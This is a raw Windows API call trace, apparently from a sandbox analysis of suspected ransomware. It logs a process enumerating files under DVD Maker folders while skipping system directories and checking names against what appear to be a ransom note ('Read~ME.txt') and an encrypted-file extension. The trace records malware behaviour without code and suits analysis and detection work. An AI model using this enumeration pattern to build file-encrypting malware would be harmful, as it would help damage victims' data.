	[0080.728] StrStrW (lpFirst="Heart_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.728] lstrcmpW (lpString1="Heart_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.728] GetCurrentThreadId () returned 0x618
	[0080.728] RtlWakeConditionVariable () returned 0x365f48
	[0080.728] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0080.728] lstrcmpiW (lpString1="heart_glass_Thumbnail.bmp", lpString2="Windows") returned -1
	[0080.728] lstrcmpW (lpString1="heart_glass_Thumbnail.bmp", lpString2="oiikyy.exe") returned -1
	[0080.728] StrStrW (lpFirst="heart_glass_Thumbnail.bmp", lpSrch=".~~~~") returned 0x0
	[0080.728] lstrcmpW (lpString1="heart_glass_Thumbnail.bmp", lpString2="Read~ME.txt") returned -1
	[0080.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.728] GetCurrentThreadId () returned 0x618
	[0080.728] RtlWakeConditionVariable () returned 0x365f48
	[0080.728] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.729] lstrcmpiW (lpString1="Heart_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.729] lstrcmpW (lpString1="Heart_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.729] StrStrW (lpFirst="Heart_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.729] lstrcmpW (lpString1="Heart_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.729] GetCurrentThreadId () returned 0x618
	[0080.729] RtlWakeConditionVariable () returned 0x365f48
	[0080.729] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1
	[0080.729] lstrcmpiW (lpString1="Heart_VideoInset.png", lpString2="Windows") returned -1
	[0080.729] lstrcmpW (lpString1="Heart_VideoInset.png", lpString2="oiikyy.exe") returned -1
	[0080.729] StrStrW (lpFirst="Heart_VideoInset.png", lpSrch=".~~~~") returned 0x0
	[0080.729] lstrcmpW (lpString1="Heart_VideoInset.png", lpString2="Read~ME.txt") returned -1
	[0080.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.729] GetCurrentThreadId () returned 0x618
	[0080.729] RtlWakeConditionVariable () returned 0x365f48
	[0080.729] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1
	[0080.729] lstrcmpiW (lpString1="HueCycle", lpString2="Windows") returned -1
	[0080.729] lstrcmpW (lpString1="HueCycle", lpString2=".") returned 1
	[0080.729] lstrcmpW (lpString1="HueCycle", lpString2="..") returned 1
	[0080.729] lstrcmpW (lpString1="HueCycle", lpString2="AppData") returned 1
	[0080.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle", lpSrch="AppData") returned 0x0
	[0080.729] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.729] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle", lpString2="C:\\Windows") returned -1
	[0080.729] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.729] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle", lpString2="C:\\System Volume Information") returned -1
	[0080.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0080.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0080.868] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.868] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.868] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.875] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.875] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.875] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0080.875] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.875] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.875] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.875] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.875] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.875] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.875] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0080.875] lstrcmpiW (lpString1="1047x576black.png", lpString2="Windows") returned -1
	[0080.875] lstrcmpW (lpString1="1047x576black.png", lpString2="oiikyy.exe") returned -1
	[0080.875] StrStrW (lpFirst="1047x576black.png", lpSrch=".~~~~") returned 0x0
	[0080.875] lstrcmpW (lpString1="1047x576black.png", lpString2="Read~ME.txt") returned -1
	[0080.875] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.876] GetCurrentThreadId () returned 0x618
	[0080.876] RtlWakeConditionVariable () returned 0x365f48
	[0080.876] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x2, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0080.876] lstrcmpiW (lpString1="15x15dot.png", lpString2="Windows") returned -1
	[0080.876] lstrcmpW (lpString1="15x15dot.png", lpString2="oiikyy.exe") returned -1
	[0080.876] StrStrW (lpFirst="15x15dot.png", lpSrch=".~~~~") returned 0x0
	[0080.876] lstrcmpW (lpString1="15x15dot.png", lpString2="Read~ME.txt") returned -1
	[0080.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.876] GetCurrentThreadId () returned 0x618
	[0080.876] RtlWakeConditionVariable () returned 0x365f48
	[0080.876] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x2, cFileName="colorcycle.png", cAlternateFileName="")) returned 1
	[0080.876] lstrcmpiW (lpString1="colorcycle.png", lpString2="Windows") returned -1
	[0080.876] lstrcmpW (lpString1="colorcycle.png", lpString2="oiikyy.exe") returned -1
	[0080.876] StrStrW (lpFirst="colorcycle.png", lpSrch=".~~~~") returned 0x0
	[0080.876] lstrcmpW (lpString1="colorcycle.png", lpString2="Read~ME.txt") returned -1
	[0080.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.876] GetCurrentThreadId () returned 0x618
	[0080.876] RtlWakeConditionVariable () returned 0x365f48
	[0080.876] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x2, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1
	[0080.876] lstrcmpiW (lpString1="huemainsubpicture2.png", lpString2="Windows") returned -1
	[0080.876] lstrcmpW (lpString1="huemainsubpicture2.png", lpString2="oiikyy.exe") returned -1
	[0080.877] StrStrW (lpFirst="huemainsubpicture2.png", lpSrch=".~~~~") returned 0x0
	[0080.877] lstrcmpW (lpString1="huemainsubpicture2.png", lpString2="Read~ME.txt") returned -1
	[0080.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.877] GetCurrentThreadId () returned 0x618
	[0080.877] RtlWakeConditionVariable () returned 0x365f48
	[0080.877] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.877] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.877] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.877] StrStrW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.877] lstrcmpW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.877] GetCurrentThreadId () returned 0x618
	[0080.877] RtlWakeConditionVariable () returned 0x365f48
	[0080.877] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.877] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.877] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.877] StrStrW (lpFirst="NavigationLeft_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.877] lstrcmpW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.877] GetCurrentThreadId () returned 0x618
	[0080.877] RtlWakeConditionVariable () returned 0x365f48
	[0080.877] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.877] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.877] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.877] StrStrW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.877] lstrcmpW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.878] GetCurrentThreadId () returned 0x618
	[0080.878] RtlWakeConditionVariable () returned 0x365f48
	[0080.878] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.878] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.878] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.878] StrStrW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.878] lstrcmpW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0068
	[0080.878] GetCurrentThreadId () returned 0x618
	[0080.878] RtlWakeConditionVariable () returned 0x365f48
	[0080.878] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0080.878] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Windows") returned -1
	[0080.878] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="oiikyy.exe") returned -1
	[0080.878] StrStrW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".~~~~") returned 0x0
	[0080.878] lstrcmpW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="Read~ME.txt") returned -1
	[0080.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.878] GetCurrentThreadId () returned 0x618
	[0080.878] RtlWakeConditionVariable () returned 0x365f48
	[0080.878] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x2, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0080.878] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Windows") returned -1
	[0080.878] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.878] StrStrW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.878] lstrcmpW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.878] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0080.878] GetCurrentThreadId () returned 0x618
	[0080.879] RtlWakeConditionVariable () returned 0x365f48
	[0080.879] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x2, cFileName="title_stripe.png", cAlternateFileName="")) returned 1
	[0080.879] lstrcmpiW (lpString1="title_stripe.png", lpString2="Windows") returned -1
	[0080.879] lstrcmpW (lpString1="title_stripe.png", lpString2="oiikyy.exe") returned 1
	[0080.879] StrStrW (lpFirst="title_stripe.png", lpSrch=".~~~~") returned 0x0
	[0080.879] lstrcmpW (lpString1="title_stripe.png", lpString2="Read~ME.txt") returned 1
	[0080.879] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.879] GetCurrentThreadId () returned 0x618
	[0080.879] RtlWakeConditionVariable () returned 0x365f48
	[0080.879] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x2, cFileName="title_stripe.png", cAlternateFileName="")) returned 0
	[0080.879] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0080.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.880] GetCurrentThreadId () returned 0x618
	[0080.880] RtlWakeConditionVariable () returned 0x365f48
	[0080.882] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1
	[0080.882] lstrcmpiW (lpString1="LayeredTitles", lpString2="Windows") returned -1
	[0080.882] lstrcmpW (lpString1="LayeredTitles", lpString2=".") returned 1
	[0080.882] lstrcmpW (lpString1="LayeredTitles", lpString2="..") returned 1
	[0080.882] lstrcmpW (lpString1="LayeredTitles", lpString2="AppData") returned 1
	[0080.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles", lpSrch="AppData") returned 0x0
	[0080.882] lstrlenW (lpString="C:\\Windows") returned 10
	[0080.882] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles", lpString2="C:\\Windows") returned -1
	[0080.882] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0080.882] lstrcmpiW (lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles", lpString2="C:\\System Volume Information") returned -1
	[0080.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x37b730
	[0080.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0080.920] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0080.921] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0080.921] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0080.921] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0080.921] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0080.921] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0080.922] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0080.922] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0080.922] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0080.922] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0080.922] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0080.922] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0080.922] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x2, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0080.922] lstrcmpiW (lpString1="1047x576black.png", lpString2="Windows") returned -1
	[0080.922] lstrcmpW (lpString1="1047x576black.png", lpString2="oiikyy.exe") returned -1
	[0080.922] StrStrW (lpFirst="1047x576black.png", lpSrch=".~~~~") returned 0x0
	[0080.922] lstrcmpW (lpString1="1047x576black.png", lpString2="Read~ME.txt") returned -1
	[0080.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.922] GetCurrentThreadId () returned 0x618
	[0080.922] RtlWakeConditionVariable () returned 0x365f48
	[0080.922] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70c60bc9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70c60bc9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x2, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0080.922] lstrcmpiW (lpString1="203x8subpicture.png", lpString2="Windows") returned -1
	[0080.922] lstrcmpW (lpString1="203x8subpicture.png", lpString2="oiikyy.exe") returned -1
	[0080.922] StrStrW (lpFirst="203x8subpicture.png", lpSrch=".~~~~") returned 0x0
	[0080.922] lstrcmpW (lpString1="203x8subpicture.png", lpString2="Read~ME.txt") returned -1
	[0080.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6470
	[0080.922] GetCurrentThreadId () returned 0x618
	[0080.922] RtlWakeConditionVariable () returned 0x365f48
